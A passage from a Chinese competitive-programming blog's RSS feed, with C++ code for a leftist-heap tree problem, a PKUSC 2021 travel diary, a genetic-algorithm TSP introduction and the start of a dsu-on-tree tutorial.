    int val, dist, cnt;
    ll sum;
    HeapNode *son[2];
    HeapNode( int _val, int _dist, int _cnt, ll _sum) {
        val = _val; dist = _dist; cnt = _cnt; sum = _sum;
        son[0] = son[1] = 0;
    }

    inline void push_up() {
        cnt = ( son[0]? son[0] -&amp;gt; cnt: 0 ) +
            ( son[1]? son[1] -&amp;gt; cnt: 0 ) +
            1;
        sum = ( son[0]? son[0] -&amp;gt; sum: 0 ) +
            ( son[1]? son[1] -&amp;gt; sum: 0 ) +
            val;
        dist = son[1]? ( son[1] -&amp;gt; dist + 1 ): 1;
    }
};

int get_dist( HeapNode *cur ) { return cur? cur -&amp;gt; dist: -1; }

HeapNode* merge( HeapNode *from, HeapNode *to ) {
    if( !from || !to )
        return from? from: to;
    if( to -&amp;gt; val &amp;gt; from -&amp;gt; val )
        std::swap( from, to );
    from -&amp;gt; son[1] = merge( from -&amp;gt; son[1], to );
    if( get_dist( from -&amp;gt; son[0] ) &amp;lt; get_dist( from -&amp;gt; son[1] ) )
        std::swap( from -&amp;gt; son[0], from -&amp;gt; son[1] );
    from -&amp;gt; push_up();
    return from;
}

// Graph
struct Edge {
    int to, next;
} e[N];
int ehead[N], ecnt;
inline void add_edge( int cur, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[cur];
    ehead[cur] = ecnt;
}

int n, m;
ll ans;
int price[N], leader[N];

HeapNode* dfs( int cur ) {
    HeapNode *rt = new HeapNode( price[cur], 0, 1, price[cur] );
    for( int i = ehead[cur]; i; i = e[i].next ) {
        rt = merge( rt, dfs( e[i].to ) );
    }
    while( rt -&amp;gt; sum &amp;gt; m ) {
        HeapNode *tmp = rt;
        rt = merge( rt -&amp;gt; son[0], rt -&amp;gt; son[1] );
        delete(tmp);
    }
    ans = std::max( ans, 1LL * leader[cur] * ( rt -&amp;gt; cnt ) );
    return rt;
}

void dfs_free( HeapNode *cur ) {
    if( cur -&amp;gt; son[0] )
        dfs_free( cur -&amp;gt; son[0] );
    if( cur -&amp;gt; son[1] )
        dfs_free( cur -&amp;gt; son[1] );
    delete cur;
}

int main() {
#ifdef woshiluo
    freopen( &quot;luogu.1552.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;luogu.1552.out&quot;, &quot;w&quot;, stdout );
#endif
    int rt = 1;
    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        int b, c, l;
        scanf( &quot;%d%d%d&quot;, &amp;amp;b, &amp;amp;c, &amp;amp;l );
        price[i] = c; leader[i] = l;
        if( b == 0 )
            rt = i;
        else
            add_edge( b, i );
    }

    HeapNode *tmp = dfs(rt);
    dfs_free(tmp);

    printf( &quot;%lld\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>PKUSC 2021 游记</title><link>https://blog.woshiluo.com/posts/2021/05/pkusc-2021-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/05/pkusc-2021-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Mon, 17 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;-1 申请&lt;/h2&gt;
&lt;p&gt;在今年五月的时候突然发现 PKU 和 THU 要举办夏令营的消息先后到来&lt;/p&gt;
&lt;p&gt;THU 的报名不需要学生做什么，我就没有在意。
PKU 的报名需要填写不少资料还需要去打印并盖章申请书。人不在鸟市，就让教练帮忙了。&lt;/p&gt;
&lt;p&gt;随后前往镇海中学参加训练。&lt;/p&gt;
&lt;p&gt;天天都有的考试一直持续到 10 号，虽然 THU 方面似乎抛弃了新疆一直没有给我们教练回话，但是 PKU 还是通过了我的申请。&lt;/p&gt;
&lt;h2&gt;0 Day 0&lt;/h2&gt;
&lt;p&gt;5.13 镇海中学 -&amp;gt; 宁波火车站 -&amp;gt; 余姚北站 -&amp;gt; 余姚中学&lt;/p&gt;
&lt;p&gt;在上午考试的时候向镇海教练询问，发现他们将会于明天早上出发。考虑到由镇海到余姚由 1h + 的车程，但我并没有教练或者家长随行，故选择在 13 日自行前往余姚。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;容易发现如果使用公共交通时间瓶颈在从宁波到余姚（因为镇海到宁波火车站有地铁），故选择通过高铁通行从宁波到余姚北，然后通过余姚公共交通到达宁余姚中学。&lt;/p&gt;
&lt;p&gt;考完试之后拉肚子，不得已打破了坐地铁去宁波火车站的计划，改选出租车方案。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210513_154849695-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;刚到站台火车就来了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;本计划乘坐 15:55 发车的 G7792 次列车从宁波到余姚北。但到达宁波火车站时已 15:40 分，取完票已经 15:45。好消息则是当时宁波站的安检队列并不长，而安检口一过就是对应检票口，没有错过列车。&lt;/p&gt;
&lt;p&gt;在到达了余姚北后，我选择乘坐 余姚102路 -&amp;gt; 余姚205路。因为余姚北站为余姚 102 路始发站，故没有能够做到座位。但是 余姚205路 则没有这般运气，而好巧不巧的是这一段路有许多上下坡。于是我站得非常艰难。&lt;/p&gt;
&lt;p&gt;到达酒店后在附近的店铺采购了一些生活必需品并打印了入营通知书和获奖证书复印件。&lt;/p&gt;
&lt;p&gt;回去看了阵 「是，大臣」就去睡觉了。&lt;/p&gt;
&lt;h2&gt;1 Day 1&lt;/h2&gt;
&lt;p&gt;5.14 余姚中学 报道/试机/机式第一轮&lt;/p&gt;
&lt;h3&gt;1.1 报道和试机&lt;/h3&gt;
&lt;p&gt;提前 10min 到了报道地点，门口已经有一条小有规模的队伍。排队的时间很漫长，加之余姚闷热而潮湿的天气，不消几分钟便满身大汗。&lt;/p&gt;
&lt;p&gt;到了报道台，发现并没有提供是否使用 NOI Linux 的选项，估计大概率是没有 Linux 了。用报名申请表换到了胸牌和日程规划。&lt;/p&gt;
&lt;p&gt;报道接待人员告诉我可以去四楼试机。进去后发现机房闷热，有不好的预感。打开发现果然是 Windows，不过好歹是 Windows 10。在 D:/software 下提供几乎所有常见软件，也算是给 Linux 选手一个台阶下了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210514_091240708-769x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现人与人之间并不是隔着坐的，而且还没有隔板。不过反正比赛提交网页也是 http 协议，说不定有人打 ctf 呢。打开了试机赛，发现是两道神仙题，就跑去吃饭了。&lt;/p&gt;
&lt;h3&gt;1.2 午餐和面基&lt;/h3&gt;
&lt;p&gt;在家乐福买了一点咖啡和一桶 5L 的农夫山泉，在麦当劳吃了顿简餐。&lt;/p&gt;
&lt;p&gt;发现 QAQ 完成了报道流程在星巴克，于是便前去面基。简单寒酸一阵后便去参加比赛了。&lt;/p&gt;
&lt;h3&gt;1.3 比赛和中暑&lt;/h3&gt;
&lt;p&gt;打开题目一看 T1 就是一股签到题目的味，但是 $n \leq 2000$ 的矩阵我是实在想不出来怎么才能过。&lt;/p&gt;
&lt;p&gt;观察发现可以对 $suma_i = \sum_i a_{i,c}, sumb_i = \sum_i a_{c,i}$ 直接做矩阵乘法在 $O( (n^2 + t\log(t) ) \times p)$ （$p$ 为矩阵乘法复杂度），求出在 $t-1$ 变化后所有的 $suma_i$ 和 $sumb_i$，然后 $O(n^2)$ 递推即可。&lt;/p&gt;
&lt;p&gt;于是矩阵写反了，调完已经过了 1h30min 了。&lt;/p&gt;
&lt;p&gt;T2 一看感觉是数据结构套个奇奇怪怪的东西，但是不会做。于是开始看 Subtask，sub1 显然，sub2 可以通过数据结构维护。&lt;/p&gt;
&lt;p&gt;然后我的记忆到这里就断片了。过了约 2h 后，意识逐渐上线发现自己是中暑了，不过也没什么可以抢救的了，打了 sub1 就结束了。&lt;/p&gt;
&lt;p&gt;走之前瞄了眼 T3，这德州扑克到底是谁想出来的东西。&lt;/p&gt;
&lt;h3&gt;1.4 自助和扑克&lt;/h3&gt;
&lt;p&gt;出来和 QAQ 与 yijan 会面，三人不知道吃什么于是决定去附近的万达广场。&lt;/p&gt;
&lt;p&gt;在我购置了忘记携带的充电头后。一起在万达乱幌，发现了一个自助价格还算可以接受，便决定了这家。&lt;/p&gt;
&lt;p&gt;这家店是一个自助烧烤，味道尚可。不过热热闹闹的环境还是挺让人放松的。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210514_182553283-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;自助～&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;吃完后去了他们的酒店，打了两把德州扑克。不过碍于没有筹码，并没有最大化游戏乐趣。&lt;/p&gt;
&lt;p&gt;回酒店洗漱完便去睡觉了。&lt;/p&gt;
&lt;h2&gt;2 Day 2&lt;/h2&gt;
&lt;p&gt;5.15 参观 NOI 考点 -&amp;gt; 机试第二轮&lt;/p&gt;
&lt;h3&gt;2.1 拍照和参观&lt;/h3&gt;
&lt;p&gt;早上急匆匆赶到学校，连饭都没有吃。过去后发现还没有开始拍，便在树荫下和 QAQ 他们聊天。&lt;/p&gt;
&lt;p&gt;在吐槽天气时被常州市高级中学的教练听见，寒暄了几句便开始拍照了。&lt;/p&gt;
&lt;p&gt;拍照的过程还是挺心惊胆战的，毕竟这台子一直在晃，支撑杆还是斜的。好在还算靠谱。&lt;/p&gt;
&lt;p&gt;拍照过后便前往余姚中学分校区，即 NOI 2021 的举办地点。举办方包了几个公交车，坐起来还算靠谱。&lt;/p&gt;
&lt;p&gt;上了公交车就呼呼大睡，到了目的地才起来。&lt;/p&gt;
&lt;p&gt;举目环视，发现这校区在三面环山，一面靠水，感觉非常富贵。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210515_091421368-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;报告厅&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;进去先是报告厅，然后是考场。考场又双是在体育馆二楼。感觉事传统艺能。&lt;/p&gt;
&lt;p&gt;在考场见到了上海的金教练。&lt;/p&gt;
&lt;p&gt;机子没有开封，看不到配置。但是看着是挺新的，不管怎么说这两年的机子应该都不会太离谱吧？&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210515_092926362-769x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这机箱竟然有 Type-c&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;键盘的辅助键是 3x2 而不是常见的 2x3，可以说是相当反人类。&lt;/p&gt;
&lt;h3&gt;2.2 咖啡和睡觉&lt;/h3&gt;
&lt;p&gt;随后坐车回到余姚本校区。老师说学校食堂中午免费对我们开放……但确实不想去。&lt;/p&gt;
&lt;p&gt;一起又去了麦当劳随便吃了点。然后去星巴克点了杯咖啡，便开始睡觉。&lt;/p&gt;
&lt;p&gt;呼呼大睡到 12 点，然后将咖啡一饮而尽，去考场。&lt;/p&gt;
&lt;h3&gt;2.3 事故和自闭&lt;/h3&gt;
&lt;p&gt;到了考场发现键盘怎么按都没有反应，举手请监考老师维护。&lt;/p&gt;
&lt;p&gt;修好了之后发现 CodeBlocks 的压缩包坏了（CodeBlocks 里内置的 MinGW 版本较高，有高亮报错），又举手请求监考老师维护。&lt;/p&gt;
&lt;p&gt;然后发现自己忘记带笔了，接着举手……&lt;/p&gt;
&lt;p&gt;T1 一眼看过去换根 dp，可惜调了 2h&lt;/p&gt;
&lt;p&gt;T2 考虑拆成 ai+b = c 的方式，前面尽可能只移动 b，后面尽可能全用。然后贪心死活不对。&lt;/p&gt;
&lt;p&gt;T3 看到了实数内随机我就跑了。&lt;/p&gt;
&lt;h3&gt;2.4 安利和外卖&lt;/h3&gt;
&lt;p&gt;晚上大家都累的要死，便直接去 QAQ 酒店点外卖了。&lt;/p&gt;
&lt;p&gt;向 yijan 安利了 LoveLive！，然后就回酒店睡觉了。&lt;/p&gt;
&lt;h2&gt;3 Day 3&lt;/h2&gt;
&lt;p&gt;5.16 面试 -&amp;gt; 闭幕式 -&amp;gt; 余姚站 -&amp;gt; 宁波站 -&amp;gt; 镇海中学&lt;/p&gt;
&lt;h3&gt;3.1 讲题和颁奖&lt;/h3&gt;
&lt;p&gt;闭幕式一开始先是领导寒暄，听起来本来是想让我们去 PKU 的，但是疫情还是厉害啊。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210516_144029378-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;摸了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;接着开始讲题&lt;/p&gt;
&lt;p&gt;Day1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1 是个人都会&lt;/li&gt;
&lt;li&gt;T2 Splay 套线段树套线段树可以 $n\log^2(n)$ 写的优雅就可以单 $\log$ 了&lt;/li&gt;
&lt;li&gt;T3 注意到可以暴搜，注意到暴搜会挂，注意到可以剪枝，注意到过了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Day2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1 「八仙过海，各显神通」&lt;/li&gt;
&lt;li&gt;T2 我那个想法是对的……套个二分就 $nQ$ 了，套个数据结构就过了……&lt;/li&gt;
&lt;li&gt;T3 我掉线了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;颁奖把人分开到好几个教室随机顺序颁奖……说是为了防止队伍过长，但我感觉像为了避免选手统计。&lt;/p&gt;
&lt;h3&gt;3.2 城铁和地铁&lt;/h3&gt;
&lt;p&gt;打的冲到余姚站，准备体验传说中的城铁。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2021/05/IMG_20210516_164610374-1024x769.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;余姚站和右边的独立城铁入口&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;宁波的城市铁路(S字头)和我们通常说的城际铁路(C字头)还是不太一样。&lt;/p&gt;
&lt;p&gt;这里引用一段：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;市域（郊）铁路主要服务于都市圈、城市市域范围，服务都市圈中心城市城区与周边城镇组团及组团内部的通勤客流为主，服务范围一般在50km～100km；城际铁路主要服务于城市群，侧重于服务城市群范围内城市与城市之间的长距离商务、探亲、旅游等客流，服务范围一般在100km～300km；地铁主要是服务于城市中心城区内部的短距离通勤出行问题，解决城市内部交通问题，服务范围在50km以内，一般多为30km左右。
相对于城际铁路、地铁，市域（郊）铁路具有以下特征：
与城际铁路相比，市域（郊）铁路客流具有潮汐现象，早晚高峰更加明显；采用公交化运输组织方式、行车密度更大、站间距较小（平均站间距在3km左右），设计速度100km/h~160km/h之间。
与地铁相比，市域（郊）铁路站间距更大，设计速度及运营速度更高，运输组织模式更为灵活，舒适性、经济性更高，既可组织“站站停”，也可组织“快慢车”运行，满足乘客不同距离快速通勤需要。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Source: &lt;a href=&quot;http://www.xinhuanet.com/politics/2020-12/28/c_1126917536.htm&quot;&gt;国家铁路局有关负责同志就发布《市域（郊）铁路设计规范》答记者问&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;顺带一提，大多数市郊铁路是利用现有铁路的多余运力来运行的。但是运行上更接近城市轨道交通而不是国铁，12306 是找不到的。&lt;/p&gt;
&lt;p&gt;在火车上睡了 30min 左右就到了宁波站。到站转地铁一路坐到底（中间有一部分是在地上来着）就到镇海中学了。&lt;/p&gt;
&lt;h2&gt;4 结&lt;/h2&gt;
&lt;p&gt;未完待续…&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>玄学，从入门到炼丹 -- 初识遗传算法</title><link>https://blog.woshiluo.com/posts/2021/02/%E7%8E%84%E5%AD%A6%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E7%82%BC%E4%B8%B9-%E5%88%9D%E8%AF%86%E9%81%97%E4%BC%A0%E7%AE%97%E6%B3%95/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/02/%E7%8E%84%E5%AD%A6%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E7%82%BC%E4%B8%B9-%E5%88%9D%E8%AF%86%E9%81%97%E4%BC%A0%E7%AE%97%E6%B3%95/</guid><pubDate>Sat, 13 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 说在之前&lt;/h2&gt;
&lt;p&gt;正常来说，一个正常的 Oier 是不会碰这种东西&lt;/p&gt;
&lt;p&gt;但是我们综合实践小组的组长不知道为啥对这东西出奇的感兴趣， 我就试着理解一下&lt;/p&gt;
&lt;p&gt;因为也仅仅是试着理解，如有理论错误还往各位在评论区斧正&lt;/p&gt;
&lt;p&gt;本文的代码实现可以在 &lt;a href=&quot;https://gitee.com/yingziyu/task&quot;&gt;https://gitee.com/yingziyu/task&lt;/a&gt; 看到&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 什么是遗传算法&lt;/h2&gt;
&lt;p&gt;先来搬运维基百科&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;遗传算法&lt;/strong&gt;（英語：genetic algorithm (GA) ）是&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%AE%A1%E7%AE%97%E6%95%B0%E5%AD%A6&quot;&gt;计算数学&lt;/a&gt;中用于解决&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%9C%80%E4%BD%B3%E5%8C%96&quot;&gt;最佳化&lt;/a&gt;的搜索&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E7%AE%97%E6%B3%95&quot;&gt;算法&lt;/a&gt;，是&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%BF%9B%E5%8C%96%E7%AE%97%E6%B3%95&quot;&gt;进化算法&lt;/a&gt;的一种。进化算法最初是借鉴了&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%BF%9B%E5%8C%96%E7%94%9F%E7%89%A9%E5%AD%A6&quot;&gt;进化生物学&lt;/a&gt;中的一些现象而发展起来的，这些现象包括&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E9%81%97%E4%BC%A0&quot;&gt;遗传&lt;/a&gt;、&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E7%AA%81%E5%8F%98&quot;&gt;突变&lt;/a&gt;、&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%87%AA%E7%84%B6%E9%80%89%E6%8B%A9&quot;&gt;自然选择&lt;/a&gt;以及&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%9D%82%E4%BA%A4&quot;&gt;杂交&lt;/a&gt;等等。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E9%81%97%E4%BC%A0%E7%AE%97%E6%B3%95&quot;&gt;Wikipedia -&lt;/a&gt; &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E9%81%97%E4%BC%A0%E7%AE%97%E6%B3%95&quot;&gt;遗传算法&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2 使用遗传算法求得旅行商问题近似解&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;旅行商问题&lt;/strong&gt;（最短路径问题）（英語：&lt;strong&gt;travelling salesman problem&lt;/strong&gt;, &lt;strong&gt;TSP&lt;/strong&gt;）是这样一个问题：给定一系列城市和每对城市之间的距离，求解访问每一座城市一次并回到起始城市的最短回路。它是&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E7%BB%84%E5%90%88%E4%BC%98%E5%8C%96&quot;&gt;组合优化&lt;/a&gt;中的一个&lt;a href=&quot;https://zh.wikipedia.org/wiki/NP%E5%9B%B0%E9%9A%BE&quot;&gt;NP困难&lt;/a&gt;问题，在&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%BF%90%E7%AD%B9%E5%AD%A6&quot;&gt;运筹学&lt;/a&gt;和&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E7%90%86%E8%AB%96%E8%A8%88%E7%AE%97%E6%A9%9F%E7%A7%91%E5%AD%B8&quot;&gt;理论计算机科学&lt;/a&gt;中非常重要。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%97%85%E8%A1%8C%E6%8E%A8%E9%94%80%E5%91%98%E9%97%AE%E9%A2%98&quot;&gt;Wikipedia - 旅行推销员问题&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先明确遗传算法要做什么&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;生成数个随机生物，形成环境&lt;/li&gt;
&lt;li&gt;交配突变产生新的随机生物&lt;/li&gt;
&lt;li&gt;计算适应度，筛选掉不合适生物&lt;/li&gt;
&lt;li&gt;回到第 2 步&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那么这样就会有几个变量&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;环境中初始生物个数，我们令其为 &lt;code&gt;pn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;突变概率，我们令其为 &lt;code&gt;pm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;交配概率，我们令其为 &lt;code&gt;pn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在一些算法实现中会加权交配，但是这东西实在是不想写……&lt;/p&gt;
&lt;h3&gt;2.1 理论实现&lt;/h3&gt;
&lt;p&gt;如何计算适应度？&lt;/p&gt;
&lt;p&gt;这个倒是简单，路径长度的倒数就是其适应度&lt;/p&gt;
&lt;p&gt;那么算法就是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;随机生成 &lt;code&gt;pn&lt;/code&gt; 条路径&lt;/li&gt;
&lt;li&gt;路径之间随机交叉，生成预备进入下一代环境的生物&lt;/li&gt;
&lt;li&gt;生物根据概率突变&lt;/li&gt;
&lt;li&gt;排序，去除 &lt;code&gt;pn&lt;/code&gt; 名后的路径&lt;/li&gt;
&lt;li&gt;回到第 2 步&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如何交叉？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;随机确定第一个路径中的 $\frac{n}{2}$ 个位置，剩下位置按照第二个路径顺序合并&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如何突变？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;随机交换路径中两个点就行&lt;/p&gt;
&lt;h3&gt;2.2 代码实现&lt;/h3&gt;
&lt;p&gt;一开始是用 cpp 写的，但是把自己写吐了 -- 鬼知道他是哪里泄漏的&lt;/p&gt;
&lt;p&gt;后来就用 Rust 写了，具体可以看代码里的注释&lt;/p&gt;
&lt;h2&gt;3 结&lt;/h2&gt;
&lt;p&gt;这种算法出乎意料的稳定。除去极端情况，都可以生成一个较优的解。&lt;/p&gt;
&lt;p&gt;随机化算法中，调参就和炼丹一样，难以知晓结果。在这个算法中也同样体现出来。&lt;/p&gt;
&lt;p&gt;但无论如何，这个算法能在极端时间内求出一类问题的较优解是毋庸置疑的。&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>树上启发式合并(dsu on tree)简介</title><link>https://blog.woshiluo.com/posts/2021/01/%E6%A0%91%E4%B8%8A%E5%90%AF%E5%8F%91%E5%BC%8F%E5%90%88%E5%B9%B6dsu-on-tree%E7%AE%80%E4%BB%8B/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/01/%E6%A0%91%E4%B8%8A%E5%90%AF%E5%8F%91%E5%BC%8F%E5%90%88%E5%B9%B6dsu-on-tree%E7%AE%80%E4%BB%8B/</guid><pubDate>Thu, 28 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 树上启发式合并&lt;/h2&gt;
&lt;h3&gt;1.1 启发式算法&lt;/h3&gt;
&lt;p&gt;我并没有找到比较正式的定义，在这里引用 OI Wiki 里的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;启发式算法是基于人类的经验和直观感觉，对一些算法的优化。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;例子：并查集的按秩合并&lt;/p&gt;
&lt;h3&gt;1.2 树上启发式合并&lt;/h3&gt;
&lt;p&gt;基于「减少节点多的子树的处理次数」的思想为主的算法&lt;/p&gt;
&lt;h3&gt;1.3 实现&lt;/h3&gt;
&lt;p&gt;我们希望节点多的子树处理次数尽可能少，也就是我们希望重儿子的处理次数尽可能少&lt;/p&gt;
&lt;p&gt;注意到许多树上问题的处理过程是可延续的，即当前子树的处理完后可以直接将数据移交到父亲节点继续处理&lt;/p&gt;
&lt;p&gt;基于这点，我们可以优先处理重儿子，然后直接继承到父亲节点。这样对于一个节点来说，其重儿子只需要处理一次，其轻儿子需要处理两次。&lt;/p&gt;
&lt;p&gt;因为从树上任意一条路径上，关键点（即轻儿子）在 $O(\log(n))$ 范围内，所以这东西的复杂度是 $O(n\log(n))$ 的。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 例题&lt;/h2&gt;
&lt;h3&gt;2.1 CF 600E Lomsat gelral&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://codeforces.com/problemset/problem/600/E&quot;&gt;https://codeforces.com/problemset/problem/600/E&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;大意&lt;/h4&gt;
&lt;p&gt;给定一棵根为 $1$ 的树，每个节点都有一个颜色，对于&lt;strong&gt;每一个&lt;/strong&gt;子树，求其出现最多的颜色的编号的和。&lt;/p&gt;
&lt;h4&gt;思路&lt;/h4&gt;
&lt;p&gt;维护一个 &lt;code&gt;sum[]&lt;/code&gt; 和 &lt;code&gt;maxcnt&lt;/code&gt;，每当有颜色的 &lt;code&gt;sum&lt;/code&gt; 更大时更新 &lt;code&gt;maxcnt&lt;/code&gt;，相等则加入 &lt;code&gt;ans&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;显然可以启发式合并&lt;/p&gt;
&lt;h4&gt;Code&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;代码太丑了，大概会重构&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2021/01/25 12:34:45
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;map&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 1e5 + 1e4;

// Edge Start
struct edge {
    int to, next;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
inline void add_edge( int cur, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[cur];
    ehead[cur] = ecnt;
}
// Edge End

int n;
int col[N];
long long ans[N];

int son[N], mson[N];
